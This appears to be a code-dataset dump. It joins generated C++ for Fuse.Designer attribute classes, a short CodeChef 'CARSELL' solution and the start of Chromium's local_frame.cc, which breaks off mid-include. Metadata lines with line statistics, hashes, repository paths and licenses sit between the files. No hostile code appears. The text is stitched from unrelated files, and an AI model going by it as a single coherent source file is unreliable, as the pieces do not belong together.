HidesAttribute** __retval) { *__retval = HidesAttribute::New1(targetProperty); } // public HidesAttribute(string targetProperty) [instance] :54 void HidesAttribute::ctor_1(uString* targetProperty) { ctor_(); TargetProperty = targetProperty; } // public HidesAttribute New(string targetProperty) [static] :54 HidesAttribute* HidesAttribute::New1(uString* targetProperty) { HidesAttribute* obj1 = (HidesAttribute*)uNew(HidesAttribute_typeof()); obj1->ctor_1(targetProperty); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class IconAttribute :26 // { static void IconAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(IconAttribute, Path), 0); type->Reflection.SetFields(1, new uField("Path", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)IconAttribute__New1_fn, 0, true, type, 1, ::g::Uno::String_typeof())); } uType* IconAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(IconAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.IconAttribute", options); type->fp_build_ = IconAttribute_build; return type; } // public IconAttribute(string path) :29 void IconAttribute__ctor_1_fn(IconAttribute* __this, uString* path) { __this->ctor_1(path); } // public IconAttribute New(string path) :29 void IconAttribute__New1_fn(uString* path, IconAttribute** __retval) { *__retval = IconAttribute::New1(path); } // public IconAttribute(string path) [instance] :29 void IconAttribute::ctor_1(uString* path) { ctor_(); Path = path; } // public IconAttribute New(string path) [static] :29 IconAttribute* IconAttribute::New1(uString* path) { IconAttribute* obj1 = (IconAttribute*)uNew(IconAttribute_typeof()); obj1->ctor_1(path); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class InlineAttribute :9 // { static void InlineAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)InlineAttribute__New1_fn, 0, true, type, 0)); } uType* InlineAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(InlineAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.InlineAttribute", options); type->fp_build_ = InlineAttribute_build; type->fp_ctor_ = (void*)InlineAttribute__New1_fn; return type; } // public generated InlineAttribute() :9 void InlineAttribute__ctor_1_fn(InlineAttribute* __this) { __this->ctor_1(); } // public generated InlineAttribute New() :9 void InlineAttribute__New1_fn(InlineAttribute** __retval) { *__retval = InlineAttribute::New1(); } // public generated InlineAttribute() [instance] :9 void InlineAttribute::ctor_1() { ctor_(); } // public generated InlineAttribute New() [static] :9 InlineAttribute* InlineAttribute::New1() { InlineAttribute* obj1 = (InlineAttribute*)uNew(InlineAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class IntervalAttribute :123 // { static void IntervalAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::Float_typeof(), offsetof(IntervalAttribute, Interval), 0); type->Reflection.SetFields(1, new uField("Interval", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)IntervalAttribute__New1_fn, 0, true, type, 1, ::g::Uno::Float_typeof())); } uType* IntervalAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(IntervalAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.IntervalAttribute", options); type->fp_build_ = IntervalAttribute_build; return type; } // public IntervalAttribute(float interval) :126 void IntervalAttribute__ctor_1_fn(IntervalAttribute* __this, float* interval) { __this->ctor_1(*interval); } // public IntervalAttribute New(float interval) :126 void IntervalAttribute__New1_fn(float* interval, IntervalAttribute** __retval) { *__retval = IntervalAttribute::New1(*interval); } // public IntervalAttribute(float interval) [instance] :126 void IntervalAttribute::ctor_1(float interval) { ctor_(); Interval = interval; } // public IntervalAttribute New(float interval) [static] :126 IntervalAttribute* IntervalAttribute::New1(float interval) { IntervalAttribute* obj1 = (IntervalAttribute*)uNew(IntervalAttribute_typeof()); obj1->ctor_1(interval); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class OptionalHideAttribute :7 // { static void OptionalHideAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)OptionalHideAttribute__New1_fn, 0, true, type, 0)); } uType* OptionalHideAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(OptionalHideAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.OptionalHideAttribute", options); type->fp_build_ = OptionalHideAttribute_build; type->fp_ctor_ = (void*)OptionalHideAttribute__New1_fn; return type; } // public generated OptionalHideAttribute() :7 void OptionalHideAttribute__ctor_1_fn(OptionalHideAttribute* __this) { __this->ctor_1(); } // public generated OptionalHideAttribute New() :7 void OptionalHideAttribute__New1_fn(OptionalHideAttribute** __retval) { *__retval = OptionalHideAttribute::New1(); } // public generated OptionalHideAttribute() [instance] :7 void OptionalHideAttribute::ctor_1() { ctor_(); } // public generated OptionalHideAttribute New() [static] :7 OptionalHideAttribute* OptionalHideAttribute::New1() { OptionalHideAttribute* obj1 = (OptionalHideAttribute*)uNew(OptionalHideAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class PriorityAttribute :35 // { static void PriorityAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::Int_typeof(), offsetof(PriorityAttribute, Priority), 0); type->Reflection.SetFields(1, new uField("Priority", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)PriorityAttribute__New1_fn, 0, true, type, 1, ::g::Uno::Int_typeof())); } uType* PriorityAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(PriorityAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.PriorityAttribute", options); type->fp_build_ = PriorityAttribute_build; return type; } // public PriorityAttribute([int Priority]) :38 void PriorityAttribute__ctor_1_fn(PriorityAttribute* __this, int32_t* Priority1) { __this->ctor_1(*Priority1); } // public PriorityAttribute New([int Priority]) :38 void PriorityAttribute__New1_fn(int32_t* Priority1, PriorityAttribute** __retval) { *__retval = PriorityAttribute::New1(*Priority1); } // public PriorityAttribute([int Priority]) [instance] :38 void PriorityAttribute::ctor_1(int32_t Priority1) { ctor_(); Priority = Priority1; } // public PriorityAttribute New([int Priority]) [static] :38 PriorityAttribute* PriorityAttribute::New1(int32_t Priority1) { PriorityAttribute* obj1 = (PriorityAttribute*)uNew(PriorityAttribute_typeof()); obj1->ctor_1(Priority1); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class RangeAttribute :114 // { static void RangeAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::Float_typeof(), offsetof(RangeAttribute, Min), 0, ::g::Uno::Float_typeof(), offsetof(RangeAttribute, Max), 0, ::g::Uno::Float_typeof(), offsetof(RangeAttribute, Exponent), 0); type->Reflection.SetFields(3, new uField("Exponent", 2), new uField("Max", 1), new uField("Min", 0)); type->Reflection.SetFunctions(2, new uFunction(".ctor", NULL, (void*)RangeAttribute__New1_fn, 0, true, type, 2, ::g::Uno::Float_typeof(), ::g::Uno::Float_typeof()), new uFunction(".ctor", NULL, (void*)RangeAttribute__New2_fn, 0, true, type, 3, ::g::Uno::Float_typeof(), ::g::Uno::Float_typeof(), ::g::Uno::Float_typeof())); } uType* RangeAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 3; options.ObjectSize = sizeof(RangeAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.RangeAttribute", options); type->fp_build_ = RangeAttribute_build; return type; } // public RangeAttribute(float min, float max) :119 void RangeAttribute__ctor_1_fn(RangeAttribute* __this, float* min, float* max) { __this->ctor_1(*min, *max); } // public RangeAttribute(float min, float max, float exponent) :120 void RangeAttribute__ctor_2_fn(RangeAttribute* __this, float* min, float* max, float* exponent) { __this->ctor_2(*min, *max, *exponent); } // public RangeAttribute New(float min, float max) :119 void RangeAttribute__New1_fn(float* min, float* max, RangeAttribute** __retval) { *__retval = RangeAttribute::New1(*min, *max); } // public RangeAttribute New(float min, float max, float exponent) :120 void RangeAttribute__New2_fn(float* min, float* max, float* exponent, RangeAttribute** __retval) { *__retval = RangeAttribute::New2(*min, *max, *exponent); } // public RangeAttribute(float min, float max) [instance] :119 void RangeAttribute::ctor_1(float min, float max) { Exponent = 1.0f; ctor_(); Min = min; Max = max; } // public RangeAttribute(float min, float max, float exponent) [instance] :120 void RangeAttribute::ctor_2(float min, float max, float exponent) { Exponent = 1.0f; ctor_(); Min = min; Max = max; Exponent = exponent; } // public RangeAttribute New(float min, float max) [static] :119 RangeAttribute* RangeAttribute::New1(float min, float max) { RangeAttribute* obj1 = (RangeAttribute*)uNew(RangeAttribute_typeof()); obj1->ctor_1(min, max); return obj1; } // public RangeAttribute New(float min, float max, float exponent) [static] :120 RangeAttribute* RangeAttribute::New2(float min, float max, float exponent) { RangeAttribute* obj2 = (RangeAttribute*)uNew(RangeAttribute_typeof()); obj2->ctor_2(min, max, exponent); return obj2; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class RecursionSafeAttribute :129 // { static void RecursionSafeAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)RecursionSafeAttribute__New1_fn, 0, true, type, 0)); } uType* RecursionSafeAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(RecursionSafeAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.RecursionSafeAttribute", options); type->fp_build_ = RecursionSafeAttribute_build; type->fp_ctor_ = (void*)RecursionSafeAttribute__New1_fn; return type; } // public generated RecursionSafeAttribute() :129 void RecursionSafeAttribute__ctor_1_fn(RecursionSafeAttribute* __this) { __this->ctor_1(); } // public generated RecursionSafeAttribute New() :129 void RecursionSafeAttribute__New1_fn(RecursionSafeAttribute** __retval) { *__retval = RecursionSafeAttribute::New1(); } // public generated RecursionSafeAttribute() [instance] :129 void RecursionSafeAttribute::ctor_1() { ctor_(); } // public generated RecursionSafeAttribute New() [static] :129 RecursionSafeAttribute* RecursionSafeAttribute::New1() { RecursionSafeAttribute* obj1 = (RecursionSafeAttribute*)uNew(RecursionSafeAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class RequiredComponentAttribute :105 // { static void RequiredComponentAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(RequiredComponentAttribute, ComponentClass), 0); type->Reflection.SetFields(1, new uField("ComponentClass", 0)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)RequiredComponentAttribute__New1_fn, 0, true, type, 1, ::g::Uno::String_typeof())); } uType* RequiredComponentAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 1; options.ObjectSize = sizeof(RequiredComponentAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.RequiredComponentAttribute", options); type->fp_build_ = RequiredComponentAttribute_build; return type; } // public RequiredComponentAttribute(string componentClass) :108 void RequiredComponentAttribute__ctor_1_fn(RequiredComponentAttribute* __this, uString* componentClass) { __this->ctor_1(componentClass); } // public RequiredComponentAttribute New(string componentClass) :108 void RequiredComponentAttribute__New1_fn(uString* componentClass, RequiredComponentAttribute** __retval) { *__retval = RequiredComponentAttribute::New1(componentClass); } // public RequiredComponentAttribute(string componentClass) [instance] :108 void RequiredComponentAttribute::ctor_1(uString* componentClass) { ctor_(); ComponentClass = componentClass; } // public RequiredComponentAttribute New(string componentClass) [static] :108 RequiredComponentAttribute* RequiredComponentAttribute::New1(uString* componentClass) { RequiredComponentAttribute* obj1 = (RequiredComponentAttribute*)uNew(RequiredComponentAttribute_typeof()); obj1->ctor_1(componentClass); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class SpawnableAttribute :59 // { static void SpawnableAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)SpawnableAttribute__New1_fn, 0, true, type, 0)); } uType* SpawnableAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(SpawnableAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.SpawnableAttribute", options); type->fp_build_ = SpawnableAttribute_build; type->fp_ctor_ = (void*)SpawnableAttribute__New1_fn; return type; } // public generated SpawnableAttribute() :59 void SpawnableAttribute__ctor_1_fn(SpawnableAttribute* __this) { __this->ctor_1(); } // public generated SpawnableAttribute New() :59 void SpawnableAttribute__New1_fn(SpawnableAttribute** __retval) { *__retval = SpawnableAttribute::New1(); } // public generated SpawnableAttribute() [instance] :59 void SpawnableAttribute::ctor_1() { ctor_(); } // public generated SpawnableAttribute New() [static] :59 SpawnableAttribute* SpawnableAttribute::New1() { SpawnableAttribute* obj1 = (SpawnableAttribute*)uNew(SpawnableAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class SpawnsAttribute :61 // { static void SpawnsAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(SpawnsAttribute, SourceType), 0, ::g::Uno::String_typeof(), offsetof(SpawnsAttribute, TargetProperty), 0); type->Reflection.SetFields(2, new uField("SourceType", 0), new uField("TargetProperty", 1)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)SpawnsAttribute__New1_fn, 0, true, type, 2, ::g::Uno::String_typeof(), ::g::Uno::String_typeof())); } uType* SpawnsAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 2; options.ObjectSize = sizeof(SpawnsAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.SpawnsAttribute", options); type->fp_build_ = SpawnsAttribute_build; return type; } // public SpawnsAttribute(string sourceType, string targetProperty) :65 void SpawnsAttribute__ctor_1_fn(SpawnsAttribute* __this, uString* sourceType, uString* targetProperty) { __this->ctor_1(sourceType, targetProperty); } // public SpawnsAttribute New(string sourceType, string targetProperty) :65 void SpawnsAttribute__New1_fn(uString* sourceType, uString* targetProperty, SpawnsAttribute** __retval) { *__retval = SpawnsAttribute::New1(sourceType, targetProperty); } // public SpawnsAttribute(string sourceType, string targetProperty) [instance] :65 void SpawnsAttribute::ctor_1(uString* sourceType, uString* targetProperty) { ctor_(); SourceType = sourceType; TargetProperty = targetProperty; } // public SpawnsAttribute New(string sourceType, string targetProperty) [static] :65 SpawnsAttribute* SpawnsAttribute::New1(uString* sourceType, uString* targetProperty) { SpawnsAttribute* obj1 = (SpawnsAttribute*)uNew(SpawnsAttribute_typeof()); obj1->ctor_1(sourceType, targetProperty); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class ThicknessAttribute :112 // { static void ThicknessAttribute_build(uType* type) { type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)ThicknessAttribute__New1_fn, 0, true, type, 0)); } uType* ThicknessAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.ObjectSize = sizeof(ThicknessAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.ThicknessAttribute", options); type->fp_build_ = ThicknessAttribute_build; type->fp_ctor_ = (void*)ThicknessAttribute__New1_fn; return type; } // public generated ThicknessAttribute() :112 void ThicknessAttribute__ctor_1_fn(ThicknessAttribute* __this) { __this->ctor_1(); } // public generated ThicknessAttribute New() :112 void ThicknessAttribute__New1_fn(ThicknessAttribute** __retval) { *__retval = ThicknessAttribute::New1(); } // public generated ThicknessAttribute() [instance] :112 void ThicknessAttribute::ctor_1() { ctor_(); } // public generated ThicknessAttribute New() [static] :112 ThicknessAttribute* ThicknessAttribute::New1() { ThicknessAttribute* obj1 = (ThicknessAttribute*)uNew(ThicknessAttribute_typeof()); obj1->ctor_1(); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\Attributes.uno // ------------------------------------------------------------------------------------- // public sealed class TransitionAttribute :72 // { static void TransitionAttribute_build(uType* type) { type->SetFields(0, ::g::Uno::String_typeof(), offsetof(TransitionAttribute, IncomingType), 0, ::g::Uno::String_typeof(), offsetof(TransitionAttribute, TargetType), 0, ::g::Uno::String_typeof(), offsetof(TransitionAttribute, TargetProperty), 0); type->Reflection.SetFields(3, new uField("IncomingType", 0), new uField("TargetProperty", 2), new uField("TargetType", 1)); type->Reflection.SetFunctions(1, new uFunction(".ctor", NULL, (void*)TransitionAttribute__New1_fn, 0, true, type, 3, ::g::Uno::String_typeof(), ::g::Uno::String_typeof(), ::g::Uno::String_typeof())); } uType* TransitionAttribute_typeof() { static uSStrong<uType*> type; if (type != NULL) return type; uTypeOptions options; options.BaseDefinition = ::g::Uno::Attribute_typeof(); options.FieldCount = 3; options.ObjectSize = sizeof(TransitionAttribute); options.TypeSize = sizeof(uType); type = uClassType::New("Fuse.Designer.TransitionAttribute", options); type->fp_build_ = TransitionAttribute_build; return type; } // public TransitionAttribute(string incomingType, string targetType, string targetProperty) :77 void TransitionAttribute__ctor_1_fn(TransitionAttribute* __this, uString* incomingType, uString* targetType, uString* targetProperty) { __this->ctor_1(incomingType, targetType, targetProperty); } // public TransitionAttribute New(string incomingType, string targetType, string targetProperty) :77 void TransitionAttribute__New1_fn(uString* incomingType, uString* targetType, uString* targetProperty, TransitionAttribute** __retval) { *__retval = TransitionAttribute::New1(incomingType, targetType, targetProperty); } // public TransitionAttribute(string incomingType, string targetType, string targetProperty) [instance] :77 void TransitionAttribute::ctor_1(uString* incomingType, uString* targetType, uString* targetProperty) { ctor_(); IncomingType = incomingType; TargetType = targetType; TargetProperty = targetProperty; } // public TransitionAttribute New(string incomingType, string targetType, string targetProperty) [static] :77 TransitionAttribute* TransitionAttribute::New1(uString* incomingType, uString* targetType, uString* targetProperty) { TransitionAttribute* obj1 = (TransitionAttribute*)uNew(TransitionAttribute_typeof()); obj1->ctor_1(incomingType, targetType, targetProperty); return obj1; } // } // C:\Users\JuanJose\AppData\Local\Fusetools\Packages\Fuse.Designer\1.9.0\UnoHostInterface.uno // ------------------------------------------------------------------------------------------- // public static extern class UnoHostInterface :6 // { static void UnoHostInterface_build(uType* type) { ::STRINGS[0] = uString::Const("VisualAppearedFactory func is null"); ::STRINGS[1] = uString::Const("VisualBoundsChangedFactory func is null"); ::STRINGS[2] = uString::Const("VisualDisappearedFactory func is null"); ::STRINGS[3] = uString::Const("VisualTransformChangedFactory func is null"); type->SetFields(0, ::g::Uno::Func2_typeof()->MakeType(uObject_typeof(), ::g::Uno::Action2_typeof()->MakeType(::g::Uno::Rect_typeof(), ::g::Uno::Float4x4_typeof(), NULL), ::g::Uno::IDisposable_typeof(), NULL), (uintptr_t)&UnoHostInterface::VisualAppearedFactory_, uFieldFlagsStatic, ::g::Uno::Func2_typeof()->MakeType(uObject_typeof(), ::g::Uno::Action1_typeof()->MakeType(::g::Uno::Rect_typeof(), NULL), ::g::Uno::IDisposable_typeof(), NULL), (uintptr_t)&UnoHostInterface::VisualBoundsChangedFactory_, uFieldFlagsStatic, ::g::Uno::Func2_typeof()->MakeType(uObject_typeof(), ::g::Uno::Action1_typeof()->MakeType(::g::Uno::Float4x4_typeof(), NULL), ::g::Uno::IDisposable_typeof(), NULL), (uintptr_t)&UnoHostInterface::VisualTransformChangedFactory_, uFieldFlagsStatic, ::g::Uno::Func2_typeof()->MakeType(uObject_typeof(), ::g::Uno::Action_typeof(), ::g::Uno::IDisposable_typeof(), NULL), (uintptr_t)&UnoHostInterface::VisualDisappearedFactory_, uFieldFlagsStatic); type->Reflection.SetFunctions(4, new uFunction("OnVisualAppeared", NULL, (void*)UnoHostInterface__OnVisualAppeared_fn, 0, true, ::g::Uno::IDisposable_typeof(), 2, uObject_typeof(), ::g::Uno::Action2_typeof()->MakeType(::g::Uno::Rect_typeof(), ::g::Uno::Float4x4_typeof(), NULL)), new uFunction("OnVisualBoundsChanged", NULL, (void*)UnoHostInterface__OnVisualBoundsChanged_fn, 0, true, ::g::Uno::IDisposable_typeof(), 2, uObject_typeof(), ::g::Uno::Action1_typeof()->MakeType(::g::Uno::Rect_typeof(), NULL)), new uFunction("OnVisualDisappeared", NULL, (void*)UnoHostInterface__OnVisualDisappeared_fn, 0, true, ::g::Uno::IDisposable_typeof(), 2, uObject_typeof(), ::g::Uno::Action_typeof()), new uFunction("OnVisualTransformChanged", NULL, (void*)UnoHostInterface__OnVisualTransformChanged_fn, 0, true, ::g::Uno::IDisposable_typeof(), 2, uObject_typeof(), ::g::Uno::Action1_typeof()->MakeType(::g::Uno::Float4x4_typeof(), NULL))); } uClassType* UnoHostInterface_typeof() { static uSStrong<uClassType*> type; if (type != NULL) return type; uTypeOptions options; options.FieldCount = 4; options.TypeSize = sizeof(uClassType); type = uClassType::New("Fuse.Designer.UnoHostInterface", options); type->fp_build_ = UnoHostInterface_build; return type; } // public static Uno.IDisposable OnVisualAppeared(object obj, Uno.Action<Uno.Rect, float4x4> handler) :14 void UnoHostInterface__OnVisualAppeared_fn(uObject* obj, uDelegate* handler, uObject** __retval) { *__retval = UnoHostInterface::OnVisualAppeared(obj, handler); } // public static Uno.IDisposable OnVisualBoundsChanged(object obj, Uno.Action<Uno.Rect> handler) :22 void UnoHostInterface__OnVisualBoundsChanged_fn(uObject* obj, uDelegate* handler, uObject** __retval) { *__retval = UnoHostInterface::OnVisualBoundsChanged(obj, handler); } // public static Uno.IDisposable OnVisualDisappeared(object obj, Uno.Action handler) :38 void UnoHostInterface__OnVisualDisappeared_fn(uObject* obj, uDelegate* handler, uObject** __retval) { *__retval = UnoHostInterface::OnVisualDisappeared(obj, handler); } // public static Uno.IDisposable OnVisualTransformChanged(object obj, Uno.Action<float4x4> handler) :30 void UnoHostInterface__OnVisualTransformChanged_fn(uObject* obj, uDelegate* handler, uObject** __retval) { *__retval = UnoHostInterface::OnVisualTransformChanged(obj, handler); } uSStrong<uDelegate*> UnoHostInterface::VisualAppearedFactory_; uSStrong<uDelegate*> UnoHostInterface::VisualBoundsChangedFactory_; uSStrong<uDelegate*> UnoHostInterface::VisualTransformChangedFactory_; uSStrong<uDelegate*> UnoHostInterface::VisualDisappearedFactory_; // public static Uno.IDisposable OnVisualAppeared(object obj, Uno.Action<Uno.Rect, float4x4> handler) [static] :14 uObject* UnoHostInterface::OnVisualAppeared(uObject* obj, uDelegate* handler) { uStackFrame __("Fuse.Designer.UnoHostInterface", "OnVisualAppeared(object,Uno.Action<Uno.Rect, float4x4>)"); if (::g::Uno::Delegate::op_Equality(UnoHostInterface::VisualAppearedFactory_, NULL)) U_THROW(::g::Uno::Exception::New2(::STRINGS[0/*"VisualAppea...*/])); return (uObject*)uPtr(UnoHostInterface::VisualAppearedFactory_)->Invoke(2, obj, handler); } // public static Uno.IDisposable OnVisualBoundsChanged(object obj, Uno.Action<Uno.Rect> handler) [static] :22 uObject* UnoHostInterface::OnVisualBoundsChanged(uObject* obj, uDelegate* handler) { uStackFrame __("Fuse.Designer.UnoHostInterface", "OnVisualBoundsChanged(object,Uno.Action<Uno.Rect>)"); if (::g::Uno::Delegate::op_Equality(UnoHostInterface::VisualBoundsChangedFactory_, NULL)) U_THROW(::g::Uno::Exception::New2(::STRINGS[1/*"VisualBound...*/])); return (uObject*)uPtr(UnoHostInterface::VisualBoundsChangedFactory_)->Invoke(2, obj, handler); } // public static Uno.IDisposable OnVisualDisappeared(object obj, Uno.Action handler) [static] :38 uObject* UnoHostInterface::OnVisualDisappeared(uObject* obj, uDelegate* handler) { uStackFrame __("Fuse.Designer.UnoHostInterface", "OnVisualDisappeared(object,Uno.Action)"); if (::g::Uno::Delegate::op_Equality(UnoHostInterface::VisualDisappearedFactory_, NULL)) U_THROW(::g::Uno::Exception::New2(::STRINGS[2/*"VisualDisap...*/])); return (uObject*)uPtr(UnoHostInterface::VisualDisappearedFactory_)->Invoke(2, obj, handler); } // public static Uno.IDisposable OnVisualTransformChanged(object obj, Uno.Action<float4x4> handler) [static] :30 uObject* UnoHostInterface::OnVisualTransformChanged(uObject* obj, uDelegate* handler) { uStackFrame __("Fuse.Designer.UnoHostInterface", "OnVisualTransformChanged(object,Uno.Action<float4x4>)"); if (::g::Uno::Delegate::op_Equality(UnoHostInterface::VisualTransformChangedFactory_, NULL)) U_THROW(::g::Uno::Exception::New2(::STRINGS[3/*"VisualTrans...*/])); return (uObject*)uPtr(UnoHostInterface::VisualTransformChangedFactory_)->Invoke(2, obj, handler); } // } }}} // ::g::Fuse::Designer
34.272434
270
0.703021
[ "object" ]
6cb9f12a5b55965f3e51b9542ba5beaa356b75bb
572
cpp
C++
CodeChef/LongChallenge/AprilLongChallenge2020B/CARSELL.cpp
ysumit99/Compi-Coding
d0e96c4f024328b0bfb799fab927919dae367f7a
[ "MIT" ]
1
2019-04-19T13:06:33.000Z
2019-04-19T13:06:33.000Z
CodeChef/LongChallenge/AprilLongChallenge2020B/CARSELL.cpp
ysumit99/Compi-Coding
d0e96c4f024328b0bfb799fab927919dae367f7a
[ "MIT" ]
null
null
null
CodeChef/LongChallenge/AprilLongChallenge2020B/CARSELL.cpp
ysumit99/Compi-Coding
d0e96c4f024328b0bfb799fab927919dae367f7a
[ "MIT" ]
null
null
null
//https://www.codechef.com/APRIL20B/problems/CARSELL //Accepted #include <bits/stdc++.h> using namespace std; int main() { int t; cin >> t; while (t--) { int n; long long int profit = 0; cin >> n; vector<int> v(n); for (int i = 0; i < n; i++) { cin >> v[i]; } sort(v.rbegin(), v.rend()); for (int i = 0; i < n; i++) { profit += max(v[i] - i, 0); profit %= 1000000007; } cout << profit << endl; } return 0; }
15.459459
52
0.409091
[ "vector" ]
6cbb4eef3dc4bcbe05fb2ff031e093215310ca33
57,857
cc
C++
third_party/blink/renderer/core/frame/local_frame.cc
zipated/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
third_party/blink/renderer/core/frame/local_frame.cc
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
third_party/blink/renderer/core/frame/local_frame.cc
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
/* * Copyright (C) 1998, 1999 Torben Weis <weis@kde.org> * 1999 Lars Knoll <knoll@kde.org> * 1999 Antti Koivisto <koivisto@kde.org> * 2000 Simon Hausmann <hausmann@kde.org> * 2000 Stefan Schimanski <1Stein@gmx.de> * 2001 George Staikos <staikos@kde.org> * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Apple Inc. All * rights reserved. * Copyright (C) 2005 Alexey Proskuryakov <ap@nypop.com> * Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies) * Copyright (C) 2008 Eric Seidel <eric@webkit.org> * Copyright (C) 2008 Google Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public License * along with this library; see the file COPYING.LIB. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. */ #include "third_party/blink/renderer/core/frame/local_frame.h" #include <memory> #include "services/network/public/cpp/features.h" #include "services/service_manager/public/cpp/interface_provider.h" #include "third_party/blink/public/platform/interface_provider.h" #include 